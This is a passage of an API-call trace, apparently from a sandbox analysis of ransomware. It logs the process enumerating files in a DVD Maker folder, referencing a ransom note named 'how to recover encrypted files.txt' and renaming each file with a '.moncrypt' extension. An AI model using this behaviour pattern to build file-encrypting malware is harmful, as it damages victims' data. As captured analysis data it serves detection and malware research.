Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.moncrypt")) returned 0 [0058.159] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0058.159] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.159] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.159] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.159] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.159] GlobalUnlock (hMem=0x44000c) returned 0 [0058.159] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.159] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.159] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.159] GlobalUnlock (hMem=0x44000c) returned 0 [0058.159] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.159] GlobalUnlock (hMem=0x440004) returned 0 [0058.160] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.160] CharLowerBuffW (in: lpsz="Pets_btn-next-static.png", cchLength=0x18 | out: lpsz="pets_btn-next-static.png") returned 0x18 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", lpUsedDefaultChar=0x0) returned 73 [0058.161] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Pets\\Pets_btn-next-static.png", lpUsedDefaultChar=0x0) returned 4 [0058.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 0x54e280 [0058.161] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.161] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.161] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.161] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", dwFileAttributes=0x20) returned 0 [0058.162] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.162] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.moncrypt")) returned 0 [0058.162] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0058.162] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.162] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.162] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.162] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.162] GlobalUnlock (hMem=0x440004) returned 0 [0058.162] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.162] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.162] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.162] GlobalUnlock (hMem=0x440004) returned 0 [0058.162] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.162] GlobalUnlock (hMem=0x44000c) returned 0 [0058.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.163] CharLowerBuffW (in: lpsz="Pets_btn-over-DOT.png", cchLength=0x15 | out: lpsz="pets_btn-over-dot.png") returned 0x15 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.pngc", lpUsedDefaultChar=0x0) returned 70 [0058.163] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Pets\\Pets_btn-over-DOT.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 0x54e280 [0058.164] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.164] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.164] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.164] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", dwFileAttributes=0x20) returned 0 [0058.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.165] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.moncrypt")) returned 0 [0058.165] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0058.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.165] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.165] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.165] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.165] GlobalUnlock (hMem=0x44000c) returned 0 [0058.165] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.166] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.166] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.166] GlobalUnlock (hMem=0x44000c) returned 0 [0058.166] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.166] GlobalUnlock (hMem=0x440004) returned 0 [0058.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.166] CharLowerBuffW (in: lpsz="Pets_btn-previous-over-select.png", cchLength=0x21 | out: lpsz="pets_btn-previous-over-select.png") returned 0x21 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 